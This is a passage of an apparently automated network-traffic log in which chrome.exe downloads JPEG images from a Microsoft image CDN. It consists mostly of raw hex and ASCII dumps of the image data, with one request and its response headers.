99 b7 c9 22 2b f9 2a bf de db fa 57 8f 5b 36 87 d8 8d da fe b5 3d 4c 3e 5b ec e5 7a ba 1c 8f 86 7c 17 67 a4 c9 1e a5 71 
24 e8 eb 0b 3b c7 f3 6c f3 6b ae fe d4 83 54 8f ec 6d a4 fd ab 7a 2c d1 49 b1 51 37 77 dc 7f 8a af 6a 16 b6 76 b7 71 c7 71 
e7 ea 3e 52 7c 92 7f aa 8b ff 00 b2 c5 47 a9 6a 1a bc ba 3f d8 da 48 2f 5d 1f fe 5d 53 e4 45 5a f9 9a 98 b9 d6 97 34 b5 7f 
75 8f 6b 95 47 e1 d0 af ae 5a b4 b0 58 43 0c f1 d9 6e 46 fb 44 70 3a bc 5b 7d b6 d7 45 67 a9 69 9a 1e 8f 1d f5 8c 73 c1 6e 
bb 7c 98 e4 76 7d ed df e9 9a cb b5 86 0b 5d 36 4d d1 c1 02 2a 79 df ea ff 00 e5 93 75 03 fd a1 54 e4 b1 83 54 b5 bb 8f 4f 
bb 8e 7b 4b 37 5b 77 92 77 d9 f7 a3 dd 
Data Ascii: 2klh!;fOO7T"+*W[6=L>[z|gq$;lkTmz,IQ7wjvqq>R|Gj?H/]]SEZ4ukGZXCnFDp:[}Egisn|v}]6M*yuTTO{K7[ww
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2021-11-25 16:28:56 UTC 3520 IN Data Raw: a4 f2 b3 aa 43 6b ff 00 1e 88 fb 79 fd e3 7f 12 9e f5 82 95 4a 89 c6 2a d1 2f d9 ab eb 16 ce a3 54 87 cd f3 23 
8e 3f 26 25 db e7 7f 04 bb 9b ff 00 65 ac 5b 5d 5a c5 ae be d5 ab 49 25 96 95 6f b9 2e 24 8d 36 3b f6 c2 0f e2 ab 5a 1e 
87 73 6f 24 9a e5 c2 41 a4 5e dd 27 d9 fe c3 1b f9 a8 fb be e9 1f ee d6 d4 97 1a 2f 88 34 d8 2d 6e be dd af 6a 0b fe a6 38 
ed 55 ee 11 95 b6 93 b7 77 e5 51 4d 72 69 1d 6d db fa b7 e2 74 52 8a 6a d2 d3 b1 8f e1 7d 3e 0d 7a 38 e6 68 2e 93 4c 54 
5f 26 39 d3 62 6d dd f2 49 fe f6 da e7 fc 65 e2 ab bb 5f 18 d8 69 3a 1d 85 8e bd 6e b6 f3 6f 8f 52 81 bc ad db b6 9e 31 d9 
6b a2 d3 6f 35 35 fb 5d f6 9f 61 7d e1 0b 78 ad 36 4d fd a2 fb e2 7d 92 64 13 17 fc b3 27 bd 48 d6 32 f8 a3 fd 3a f3 52 fe 
d1 96 7d bb 2e b4 39 f6 3a 2b 7f 0a f0 36 b0 
Data Ascii: CkyJ*/T#?&%e[]ZI%o.$6;Zso$A^'/4-nj8UwQMrimtRj}>z8h.LT_&9bmIe_i:noR1ko55]a}x6M}d'H2:R}.9:+6

2021-11-25 16:28:56 UTC 3528 IN Data Raw: 5e d6 75 5d df da c8 91 6c d8 f6 b1 c1 f6 7f e2 f6 ad 69 af b5 cb ab 59 e3 b5 bf ff 00 47 97 e4 4f ef c3 df 8f a5 
75 56 3a 5c f7 9a 6c 7f 6c 9f 7b b3 ab f9 f1 bf ef 5f 6f f7 bd aa 5c a7 09 f3 a6 ae fd 1f e8 73 7d 5e 55 95 bb 19 fe 19 d2 75 
35 b5 8f ed 57 1f 6d 78 9f e4 8f e6 de 8b f5 aa 37 1e 0b 97 c4 da c7 93 71 a6 c1 a7 69 eb bb ed 17 53 be f7 46 6e 9f 2f bd 
74 57 9f e8 76 be 4c 72 3e f8 be 74 92 4f 9d eb 17 ed d7 96 72 47 24 9a 94 f7 52 b2 6c b8 8e 4d bb 37 2f dd da 29 c5 39 
3e 67 24 9f cf f4 3a 95 25 18 72 cc ec 3c 3b e1 58 ac ed 67 92 38 fe 48 93 62 49 b3 fb be 95 d0 48 d6 d6 11 c9 b6 e3 7f fd 
b3 d8 9b 76 ff 00 76 bc e6 df c5 17 97 57 de 4a ea 51 a6 e4 f9 e3 91 ff 00 bb e8 69 da a6 bd a7 e9 32 7d aa 1d 4b fb 52 ee 
5f 93 c8 8f fb ad 52 b0 fc ae f7 bb 
Data Ascii: ^u]liYGOuV:\ll{_o\s}^Uu5Wmx7qiSFn/tWvLr>tOrG$RlM7/)9>g$:%r<;Xg8HbIHvvWJQi2}KR_R

2021-11-25 16:28:56 UTC 3544 IN Data Raw: 71 36 9b 75 65 71 1f 97 71 6f 3d ac ff 00 ba db c2 b0 64 ee 0d 32 fb 5e 4f 0a d8 c7 24 df 26 8f 79 6e b3 5b fd 97
6e ff 00 29 9b 9f fc 7b f1 a9 a6 d6 3c 39 ff 00 08 e7 f6 4c 3a 2a 7f 6b ec 64 8b 55 ba 79 37 a2 ed ff 00 56 54 7c b5 ca e8 
be 24 fb 2e 8f a6 e9 fa b6 99 05 ee 8f a1 df 35 c7 dc d8 f3 6e fb d0 ef fe e5 7d 2d 2a 2a 54 f9 39 5f 2c 5e d7 fc b5 35 51 8c 
20 d3 37 34 df 18 58 e8 d7 d3 ea d6 37 77 5a 74 b7 16 ed 6f e5 da ce c8 ef 13 73 ff 00 7c 9f ee d4 7e 0d d7 b4 ff 00 15 69 
da 9d 9e b1 77 3a 7c fe 75 bf da a7 67 87 6a ff 00 cb 3c 75 e6 bc d7 5a be 8b fb 4a 49 96 3f 25 25 76 74 83 fe 78 ab 36 e0 
b4 db 5d 4a 7d 26 ea 39 ad e4 d8 8c 9f dc af 4b fb 3e 12 a6 d2 76 6e d6 7d ac 63 cd 27 1b 5c f7 45 f1 45 dd ae ab 7d 0d 8
d 85 ad ad a2 a4 7b 20 b5 f3 3e 75 
Data Ascii: q6ueqqo=d2^O$&yn[n){<9L:*kdUy7VT|$.5n}-**T9_,^5Q 74X7wZtos|~iw:|ugj<uZJI?%%vtx6]J}&9K>vn}c'\EE}{ >
u

2021-11-25 16:28:56 UTC 3560 IN Data Raw: e8 df dd 1e d4 e5 cc b6 61 cf f6 46 b4 d2 db dd 5a 42 b7 f1 d9 7d a2 6f 92 d6 44 df e7 32 d6 6d e5 ab 2c 9b ad 
63 b5 ba 4b 87 69 9e 38 d3 7f cd ea 0f f0 d6 b3 5a dc ea 5a c4 16 76 30 41 35 de ff 00 f4 79 ee a7 5b 78 93 77 fd 34 6f bb 
53 58 f8 17 55 b5 49 1b fe 12 1d 02 ca f5 9d b6 47 26 a9 f3 bb 7f b3 fb bc 56 cb 54 ad b9 ac 12 77 5b 9c 8e a1 71 79 e5 f9 
d2 47 23 c2 cf e4 f9 fb 3e 4f 97 a7 35 56 d7 c5 97 d6 7f b9 5b f9 f6 36 e9 93 cc 4d ef f3 2e ce be 9f ec d7 65 1c 2d 71 24 
90 c7 f3 f9 bb bf 77 03 ef 4d c9 f7 b6 56 1d f5 8e 9b 2c 7f e8 f7 70 25 eb 3a db f9 71 cf fe 91 bb ef 2a b2 d4 c6 4b 69 c2 e6 
32 a7 3e ab 51 b6 72 5b 78 a2 38 21 86 48 2e ae e5 dd b2 08 1f 63 ee 45 dc df 2d 67 ea 5a 95 9d 9d d5 dc 71 df c1 f6 89 
7f d2 e2 f3 df e7 7d ab c8 ff 00 78 57 
Data Ascii: aFZB}oD2m,cKi8ZZv0A5y[xw4oSXUIG&VTw[qyG#>O5V[6M.e-q$wMV,p%:q*Ki2>Qr[x8!H.cE-gZq}xW

2021-11-25 16:28:56 UTC 3568 IN Data Raw: 5b d8 e9 ba 57 93 67 69 1c 17 6c fb fc cd ec ff 00 9e 69 d6 3a 3d f2 da ce d3 49 fe 8e ce bf bc fe 34 db ed 59 f1 
db cf 7f 75 e4 d9 c1 24 f2 ff 00 cb 18 e4 fb fb 56 ba cd 25 5a de 1b b5 be 92 3f b4 35 bb 27 97 1e ef 91 96 aa 12 51 d2 2c 
9e 5e 88 cb 93 47 bb 8a d6 06 f3 e3 7b 46 4f f5 91 fc e9 f8 d3 5a 35 ba f3 2d 63 82 39 dd 53 e7 f2 3e e2 7b 56 5c 92 4e b3 
4e b1 c9 22 44 d0 ef fd df fb 35 bd a7 dd 45 ff 00 1e 73 4f fd 9d bd 19 d2 fa 34 fb 8c ab f2 ee db d6 8b b9 6e 69 7e 5d ce 
75 74 b9 6c 3c 41 1f 93 07 d9 53 ca fd f4 11 bf e5 f7 aa e5 9c 32 df dd 3c 6d 1f fa a7 5f f5 7f 27 cb fd 6a c6 8a b3 dc 47 e6 
6a 13 c7 3c b2 fc 8f e5 ff 00 1b 2d 6a 5e 5b c1 a3 58 fd b2 39 e7 f3 65 7d f3 47 22 6c d9 b9 bf 87 da 9f 33 93 5a 68 64 d2 
6e e9 5a e6 7e b5 e1 bb 9b 39 ff 
Data Ascii: [Wgili:=I4Yu$V%Z?5'Q,^G{FOZ5-c9S>{V\NN"D5EsO4ni~]utl<AS2<m_'jGj<-j^[X9e}G"l3ZhdnZ~9

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

67 192.168.2.4 49875 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:57 UTC 3574 OUT GET /cms/api/am/imageFileData/RE4Iy7k?ver=0b62 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 
Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2021-11-25 16:28:57 UTC 3574 IN HTTP/1.1 200 OK
Last-Modified: Mon, 22 Nov 2021 05:53:57 GMT
Access-Control-Allow-Origin: *
X-Datacenter: northeu
X-ActivityId: 6f7b4e0e-f21e-497e-a45e-6aa96b643214
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Iy7k?ver=0b62
X-Source-Length: 564695
Content-Length: 564695
Cache-Control: public, max-age=134758
Expires: Sat, 27 Nov 2021 05:54:55 GMT
Date: Thu, 25 Nov 2021 16:28:57 GMT
Connection: close

2021-11-25 16:28:57 UTC 3575 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 
03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 
15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 
00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 
00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2
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2021-11-25 16:28:57 UTC 3590 IN Data Raw: bd 98 05 2c 1f 03 3d 3d fa 66 a8 cf 33 fc 9b 89 44 27 21 4f 41 8e c7 f2 e6 ac 5e 13 27 ca 39 3c e4 8f 4f 7e 79 
aa 4a c2 66 d8 32 36 e4 e4 f5 eb 90 7d b8 f5 a4 08 7d ab 15 90 3c 87 86 e9 c6 4f 07 9f ad 6e a4 c3 61 27 f1 19 eb fe 45 64
46 7c 85 04 83 db 83 ef fc e9 b1 de 8f 9c 9c 80 4e 08 27 1c e7 18 38 ef ed 48 5a 9b 0f 33 36 76 9c 0e 3a fa 0a 74 73 16 8c 
a9 07 70 e3 83 eb de b3 52 f0 09 7a fc a4 1e 41 18 c8 35 72 1d ae b9 07 1d c0 3d 45 03 44 53 be 5b 27 27 9c 63 1c 1e 2a 
8b 6d 85 36 00 db 17 91 ee 07 bf f2 fc 2a d5 d8 64 7e e2 30 39 ed 9f 73 eb 55 a4 41 23 0c 8c 15 cf 42 78 38 ff 00 eb ff 00 
2a 00 1c 82 a4 30 e0 0c 37 b0 1c 7f fa aa 3e 5b cb 28 72 b8 39 3d 38 f4 fc 69 dc 96 d9 91 82 70 e0 f0 78 e4 01 f4 e9 41 2a 
cb f7 c6 7a 05 3c f3 ef 40 c5 59 59 94 85 
Data Ascii: ,==f3D'!OA^'9<O~yJf26}}<Ona'EdF|N'8HZ36v:tspRzA5r=EDS[''c*m6*d~09sUA#Bx8*07>[(r9=8ipxA*z<@YY

2021-11-25 16:28:57 UTC 3606 IN Data Raw: 47 e5 4e 12 87 60 85 f3 d3 8c 91 8c 76 fe bf d3 9a 00 90 4b bd 0a a3 e0 a9 20 12 73 8c 75 1f ad 3b 78 38 28 
41 51 d7 d3 03 9f e7 d7 9a 82 22 a5 10 b8 fb a7 21 87 7e c7 f1 f6 a1 47 9a e0 9e 98 27 19 c0 f7 24 75 1d 4f b5 00 59 59 
0e dc 37 38 c3 74 f5 e0 77 a0 3c 65 41 05 76 77 0b 8f 5a aa b8 75 90 9e 4f 4f 9b 23 3c fc df 97 f2 c5 3d 26 62 e2 41 b4 e1 
48 1c 9e fd 47 f8 7a d2 60 49 95 db 22 bf ce f9 04 00 3d 0e 40 eb db de 9c 18 6e 21 b2 72 4e 48 e0 72 7a 91 c7 3f e7 bd 
54 95 80 53 93 f3 28 c9 1c 63 19 eb 9f 50 28 69 56 45 0e cf 91 c1 38 e9 ce 40 07 3e 9f ae 69 81 71 47 cc 41 70 f8 20 fc dc 
71 d3 3e 9f d0 d0 ed bd 0a 16 c1 ce 32 30 78 ff 00 eb 53 23 26 66 1b 41 c9 e3 9e a7 8e 00 ed f9 f3 43 4b ba 42 88 80 6c 
20 10 07 40 47 27 fc 3d 69 01 27 96 7c c0 40 1b 73 
Data Ascii: GN`vK su;x8(AQ"!~G'$uOYY78tw<eAvwZuOO#<=&bAHGz`I"=@n!rNHrz?TS(cP(iVE8@>iqGAp q>20xS#&fAC
KBl @G'=i'|@s

2021-11-25 16:28:57 UTC 3610 IN Data Raw: a5 72 5c ac 7a 74 6e 93 2f ca 41 40 06 08 3d 88 cf 4e be dd e8 ae 1e 1d 7e 68 17 cc 0e 01 da 5b 92 70 a4 f1 8f 
fe bf d2 8a 3d 93 e8 1c e8 fa a2 d2 65 db c1 c1 e9 52 c9 72 51 b0 4d 73 31 ea 2d 16 09 3c 0e 95 2a ea db 9c 02 f9 00 70 
7d 6b 94 ab 9b 77 17 1b 97 23 03 00 d5 64 d5 23 8d ca 97 e7 a0 3d 6b 36 4d 41 44 64 0f bd 91 8f fe b5 61 5d ea 5b 64 20 
90 0f 03 07 be 69 d8 67 7f 0d e0 93 90 47 d4 f7 ab 2b 30 db 9c 0c 7b 75 af 35 4f 10 79 4e b1 f9 b8 55 c6 79 38 27 fc ff 00 
fa ab 6e cf c4 0a f8 1b f8 03 f9 51 60 3a 4b e7 8c 46 5c e0 7a 63 ad 72 fa 8c f1 ab e4 1f 9b 3d fd 7f ad 5d b8 d4 63 bc b5 
78 b7 8e 99 c7 5c 57 9c 6a 9a bd c6 9d 72 56 6c 10 09 0b b4 9e 17 df df b1 e8 69 d8 0e 8a ec 6f fd f6 fd 87 20 61 8f 07 9f 
e6 6a 44 b8 0a c0 0f bf b7 3c 7a f7 15 87 0e 
Data Ascii: r\ztn/A@=N~h[p=eRrQMs1-<*p}kw#d#=k6MADda][d igG+0{u5OyNUy8'nQ`:KF\zcr=]cx\WjrVlio ajD<z

2021-11-25 16:28:57 UTC 3626 IN Data Raw: 90 90 c4 f9 7f 37 4e 0e 32 4f 18 fe 5d 3d a8 40 44 54 6d 70 30 e4 7d e0 de 84 d4 db 44 79 51 b4 e1 70 46 31 
c7 7c 7f f5 aa 05 3e 62 ed 20 c9 b0 64 7b fb fd 47 e3 53 ee 25 80 3c f0 07 24 93 d7 a8 f6 a1 8d 8e f3 c8 c9 27 9c 9e 09 1c 
e0 7a 8f c3 af bd 30 4b f2 00 b8 ce dc 21 3d 72 7a 0a 26 60 7c b2 79 6c 90 38 e3 38 ef ed 8e b5 1a 48 02 90 41 03 96 f9 
b8 3f 5f c7 fc 8a 91 13 7c c8 a5 8a 14 2e 31 95 e7 68 03 9f e5 fa d4 7e 72 ab 02 f2 6c 4e c0 93 db 90 33 f4 ed ed 4c f3 4f 
42 5b 96 18 c0 e7 9f 5f c6 96 47 3b 5f 7f dc 61 f7 48 c8 f4 ed d4 f7 e9 40 08 58 f1 82 a4 0e c4 90 7e 87 35 01 95 84 cc 8a 
3a 1c 12 72 7b 9e 71 e9 83 fd 6a c4 88 0c 69 90 79 c8 cb 75 c7 7e 3b fb d4 32 44 0f cc e4 f9 8d d4 93 8c e4 63 18 aa 8b 
b0 0d 0e ea db dc 02 a4 60 71 d4 8e a7 b1 eb eb 
Data Ascii: 7N2O]=@DTmp0}DyQpF1|>b d{GS%<$'z0K!=rz&`|yl88HA?_|.1h~rlN3LOB[_G;_aH@X~5:r{qjiyu~;2Dc`q

2021-11-25 16:28:57 UTC 3642 IN Data Raw: 30 80 02 47 72 48 c9 20 f5 ff 00 38 a4 79 04 4c 09 03 85 e3 6f 3c e7 fb bd 78 ef cf e7 5e b5 17 c3 5d 29 2d f6 
3e 77 01 f7 87 5c fd 7d ab 3a f3 e1 c6 9f 6d 63 71 e4 49 24 93 e3 78 90 b6 4e 7d 29 73 21 5c f3 56 98 6c ce 49 63 f3 fc de 
b8 39 e0 70 40 ff 00 20 50 25 45 91 c8 3b 08 39 6d b9 c7 b7 d7 23 f0 a5 ba d2 af 2c 59 15 e0 93 0c 00 52 46 7a 77 e3 b7 
ad 43 05 a4 b3 a8 50 0c 98 0a fc 8c 72 79 fd 6a 86 0d 27 94 c4 90 5d 70 08 3c 1e 4f 27 1e df 85 3d 26 1f 26 39 51 8c 1c f5 
03 9e bf 41 e9 d6 99 35 8c b6 d2 6c 96 2c 01 f2 8c e4 02 3b 75 f7 a9 23 d3 24 97 01 c1 8b 20 86 23 af b6 3d 7d aa af a0 
ee 35 64 53 8c 63 3f 75 71 91 bb 3f 4e 9c f5 cd 09 32 c8 e4 2f 46 3c 1e 32 48 1c 83 8e 7f 0a b7 26 87 75 b4 4a 40 da 00 
5c 1e 09 f7 ac dd 8a 8f 22 2b 93 b3 3f 30 1c ff 
Data Ascii: 0GrH 8yLo<x^])->w\}:mcqI$xN})s!\VlIc9p@ P%E;9m#,YRFzwCPryj']p<O'=&&9QA5l,;u#$ #=}5dSc?uq?
N2/F<2H&uJ@\"+?0

2021-11-25 16:28:57 UTC 3649 IN Data Raw: a5 49 64 d0 dc 40 08 c8 2d 98 c0 1c 1c f0 6b ce db e2 27 8a da 63 28 d7 75 0d de be 71 00 7b 81 4f eb 90 ec 
4f d5 64 fa 9f 51 88 54 c8 8f f3 21 24 9e b8 1e d9 ab 30 c6 a3 80 06 43 67 00 63 39 3d 31 df 23 bd 7c b3 17 c4 6f 14 bb f3 
ae 5f 6e 07 39 32 e7 07 f1 af 59 f8 13 73 e2 af 8a 7e 28 fe c4 6f 11 9b 69 f6 17 46 96 ce 19 97 1d 09 62 59 4f 1e d9 3e d4 
2c 5c 1f 46 1f 56 97 73 d5 40 64 c0 24 00 a0 ed e3 9c 0e 9d b1 53 db 17 57 66 5c 89 06 4e 23 04 75 e8 07 52 3f 1f e9 59 
df 19 fe 07 fc 5c f8 73 6f 3e a5 a6 ea 27 c4 7a 0c 30 2c d3 df 69 96 4b 18 80 1f bd b9 4e 48 03 d4 64 57 cf 71 fc 4c d6 24 
59 45 ed e5 e4 f2 82 ad 1b 9b 82 88 ac 0f 52 80 61 81 19 04 71 d7 ad 66 f1 90 96 c8 a5 85 9a dd 9f 54 5a 4f 26 c4 0d f3 e0
af cc d9 1c 81 9e 3d 6b 41 ae 11 fe 76 23 6b 
Data Ascii: Id@-k'c(uq{OOdQT!$0Cgc9=1#|o_n92Ys~(oiFbYO>,\FVs@d$SWf\N#uR?Y\so>'z0,iKNHdWqL$YERaqfTZO&
=kAv#k

2021-11-25 16:28:57 UTC 3665 IN Data Raw: 89 6f 95 70 4f 73 da a7 29 e9 ca c7 1b 23 e7 bf 1a fe cb 5e 2d f0 af 9a 8d a3 cd 73 b6 55 57 b9 b4 8d ae 30 39 
ca 2e cc 82 49 c7 18 1c f7 1c d6 3e 8d e1 1b 3f 85 d7 83 51 f1 6e 87 fd b1 a8 42 bb 2c b4 6b b5 78 60 4b 9f bc a6 e4 30 
05 d4 2f cd b0 7c ac 78 24 e2 bd ce d3 f6 cd d5 74 18 af 2f af f4 e8 64 d5 d0 ff 00 c4 bb 4c 9e 69 d9 51 5b 01 a5 77 3c 67 
0a 0e d2 06 32 40 3c 9a f0 ed 5f c4 7a f7 c4 df 10 bf 88 35 6b 95 b8 be bc 67 76 9a e1 83 98 13 70 5d a2 22 48 8d 01 60 
17 3d b9 e7 9a 51 94 ed 69 05 96 e6 57 87 7c 0c 9a d4 d2 5d dc a5 cc 92 bc 72 5c 2d b6 9b 66 ed e6 65 b8 65 c2 e0 46 
09 3b 9b 21 46 31 9e 2b b9 d2 fe 0e f8 0b 57 5d 62 e6 3f 18 69 9a 75 96 9d 28 51 1e a5 3b 0b 8b 81 b7 f8 42 a9 dc 03 02 
00 51 9c 15 24 f3 5d b7 8e 3e 20 6b 7f 09 74 73 6f a7 
Data Ascii: opOs)#^-sUW09.I>?QnB,kx`K0/|x$t/dLiQ[w<g2@<_z5kgvp]"H`=QiW|]r\-feeF;!F1+W]b?iu(Q;BQ$]> ktso

2021-11-25 16:28:57 UTC 3681 IN Data Raw: 0e b8 e9 9a bf 26 a3 73 a5 dc 87 b6 f2 c9 56 60 ad 28 ce 72 31 90 3d 79 38 ae 7a 6b 63 2a c9 29 73 f2 83 95 
1c 11 cf f2 a6 4b 2b 1b e6 93 01 b3 c7 b0 e7 24 0e 3f 4e b5 6e 10 6e 1c 11 23 79 9d 01 ce 38 f7 34 c3 24 a9 1f 94 ce 12 
27 c1 6c 8c e3 1d 39 eb 9a d0 b7 95 2d 23 b7 92 c9 e4 8e f1 64 2c ed 70 15 e3 20 7d d0 14 f5 3e b9 e2 99 23 7c c9 2c b0 
22 8f 2d 29 1b 49 c8 c8 ce 3e 5f c7 bd 45 75 37 cc 02 39 95 df 69 93 e5 c6 0f 5c 67 8e 47 35 2d e9 b9 d4 2f 0d cd c3 f9 93 
49 b9 99 88 00 64 9e c3 80 a3 d8 0a 86 58 dd e3 0f b1 b6 36 4e 59 71 c8 eb 8f 5c 13 40 cd 8f 05 78 a6 f7 c2 be 20 3a ad 
a2 35 cb 88 1d 65 8f cc 29 98 d9 76 92 48 ed cf 4e 86 bd 3f 46 f1 95 d7 80 6e 13 c3 b2 a4 7e 6b a8 76 b6 68 95 1a 2d ca 
4a 83 20 ce f5 1b bb 9e 9d eb ca fc 3d 77 a7 e8 4b 2e 
Data Ascii: &sV`(r1=y8zkc*)sK+$?Nnn#y84$'l9-#d,p }>#|,"-)I>_Eu79i\gG5-/IdX6NYq\@x :5e)vHN?Fn~kvh-J =wK.

2021-11-25 16:28:57 UTC 3723 IN Data Raw: d3 de a7 a9 a6 88 e7 3c 45 74 9a a4 76 d1 43 19 41 12 11 c8 60 66 6c 92 5d 87 4c 8c e0 63 00 0e 31 5c e4 b6 
f7 16 ea 83 cb fd df 38 20 10 39 ea 38 1c d7 a1 b4 76 b1 ef 0b 18 21 f3 90 a4 ee c0 f5 3d ff 00 2a cb d4 22 12 48 ed 28 08 
0e 41 04 9d c7 0b 81 82 07 f8 53 d0 cb 5d ce 38 ba ba ee 70 d8 e3 22 43 d3 24 9c ed f4 a9 96 08 65 50 43 e7 79 3b 87 24 
83 fe 7a 0a b5 71 0a 36 0b a6 5c 03 8d a7 e5 c9 e7 ff 00 d5 ed 56 2c 34 59 f5 05 0f 6f ff 00 1e f9 c7 07 6e 4f e8 4d 5f 42 6c
53 52 63 54 8e 20 32 78 25 94 80 1b d3 38 ff 00 26 a4 68 6e 25 b6 30 5d 26 f6 0e 1c a8 f5 19 ce 7d 3a f3 f8 56 82 5b 5b 
5b 30 11 6f 92 50 36 b6 78 03 d9 71 cf 51 4d 94 3a e7 06 22 10 06 28 39 38 ed 8f af ad 2d 07 72 a5 ba b5 b0 2b 1f 96 fb 4f 
dd 3c 0d a7 a7 43 ef d7 ad 3c 16 68 fc c2 ff 
Data Ascii: <EtvCA`fl]Lc1\8 98v!=*"H(AS]8p"C$ePCy;$zq6\V,4YonOM_BlSRcT 2x%8&hn%0]&}:V[[[0oP6xqQM:"(98-
r+O<C<h

2021-11-25 16:28:57 UTC 3755 IN Data Raw: da c5 76 b1 39 e0 e0 73 cf 35 0f db 04 bb e1 8e 03 3b 0e c4 70 31 dc 63 90 7d e8 1a 64 b7 77 11 dd 2e 27 24 
8e 7e 51 cb 37 a6 73 d2 a3 b6 d3 66 bf 9b 74 bf ba 88 ed 54 57 25 89 03 a6 47 25 bf 95 6b 69 fa 65 d5 d5 d4 0e 9e 59 67 
50 a1 88 25 17 20 64 64 f7 ad 38 74 db a6 bc 75 17 60 ab 67 e6 8f 8c f3 f3 64 f6 03 db ad 05 18 97 d1 cb 1c 71 c4 c9 28 
11 03 8d c4 ee 3e fc 8c 63 b6 38 a8 6f 61 b8 b1 8d 0b f9 9b 9f e6 5d a7 03 d0 72 78 ae a2 49 2c a0 92 79 d6 7c 20 c4 61 
56 3c b6 07 52 33 dc 9e e4 fb d6 64 6b 0e a8 e2 03 13 19 37 60 73 b7 68 e9 93 8e 69 59 81 81 08 79 9b ca 54 f9 7a 90 78 
eb d8 93 c0 c9 f5 a6 73 fb c8 83 90 ec 08 19 ed cf a1 3c 7b 1c d6 f2 d8 5a c1 70 5a 65 96 04 3f 28 89 41 28 7e 6e 09 f6 f4 
ad 1f ec 5b 39 ad c6 fb 75 8e 47 39 e8 41 23 df d7 fa 
Data Ascii: v9s5;p1c}dw.'$~Q7sftTW%G%kieYgP% dd8tu`gdq(>c8oa]rxI,y| aV<R3dk7`shiYyTzxs<{ZpZe?(A(~n[9uG9A#

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:57 UTC 3771 IN Data Raw: 18 8b 47 03 44 46 46 63 91 ba 8e e4 d2 f6 85 f2 c4 f9 d4 f8 6b 4c bb 41 6d 77 e2 18 d2 58 64 1f eb 6d 59 4b 31 
ea 49 2d c6 39 e8 2b 6b 4f f0 2e af 24 c5 2c b5 9b 18 ec 90 82 d3 42 1d 8f b9 d8 46 d2 71 ef 8a f4 ab cf 83 7a 73 e3 37 a6 
42 3e 60 b3 22 cc 41 ce 70 33 cf 34 a9 f0 ee f6 d6 d8 a5 be a6 be 5a af cb 1c 91 79 78 ef c6 38 c5 37 51 35 a1 9a 8c 93 
39 e9 b4 4d 11 6d c4 b2 c3 35 ec b1 00 0c 97 53 36 5f 1d ca 8c 01 ed 81 59 1a 96 9f a3 78 c2 c1 e2 b6 8e 5b 36 72 84 4d 
69 29 8d d3 04 f4 27 23 af 1e f5 d6 37 84 f5 a9 17 e4 b6 8a e1 36 95 dd e6 2f 39 ea 79 ac 2f f8 57 fa 85 85 e3 c9 6d 6f e5 
24 8d b9 a3 56 00 64 1c e7 db f2 e6 a5 49 5f 52 da 39 59 fc 03 70 6e 4b 69 ba 83 33 91 86 fb 66 7a 63 19 ca 8f 99 8f a6 
05 6e 78 6f e1 ad 86 9c 89 71 7d 73 fd b3 7c a0 
Data Ascii: GDFFckLAmwXdmYK1I-9+kO.$,BFqzs7B>`"Ap34Zyx87Q59Mm5S6_Yx[6rMi)'#76/9y/Wmo$VdI_R9YpnKi3fzc
nxoq}s|

2021-11-25 16:28:57 UTC 3779 IN Data Raw: b2 92 ee f0 c5 c4 6e 0a 10 72 65 20 1f d0 1e b5 d0 ef b7 d3 ed a2 b3 84 2a 09 06 71 9c 16 1d ff 00 3f 5a e7 75 
5b 9b 76 69 23 68 8c 8b 6e 06 f1 10 da bc 9f bb 93 fa fa d3 94 b9 9d c5 15 64 72 be 0e 5d 47 52 f1 0c f7 f7 12 42 6c 36 96 
c8 6f bc de 9c 72 7d ea 6d 56 e6 25 d5 85 d0 91 51 7c d1 6f 10 86 20 ee cc 79 20 7a 7d 6b 53 45 b8 36 ac e9 6d a7 84 82 
41 9c c8 7a 29 c6 08 c7 52 73 90 2a 59 e2 8a 0b 08 ef 58 08 bc a9 b3 6d 1f 94 01 de 78 2e 73 d4 e2 96 e5 19 9e 20 8f 50 
9b 4b 06 29 1a 2b 93 27 cc 6e 40 0a 8b 9c 0c af 27 9c e0 57 3d e2 4d 1a c2 d7 4d 83 ed b3 f9 a2 43 e5 cf 1c 31 ae cd df 
c4 71 8c 91 d7 f2 ae d3 59 d6 3e c5 0c 97 16 96 cb 3d f5 d2 a8 90 4b ce d4 03 00 91 ee 72 6b 9f 96 ea 7b 94 79 ee ed e1 
78 a3 dd b0 79 78 e0 fd 3f cf e7 42 19 c7 78 73 c2 
Data Ascii: nre *q?Zu[vi#hndr]GRBl6or}mV%Q|o y z}kSE6mAz)Rs*YXmx.s PK)+'n@'W=MMC1qY>=Krk{yxyx?Bxs

2021-11-25 16:28:57 UTC 3795 IN Data Raw: 73 59 5a 8e aa d7 37 11 c5 14 6c 23 07 99 08 ec 39 af 1b d4 7e 23 ea 1f 66 8e 28 e5 26 53 20 67 98 31 24 9f 
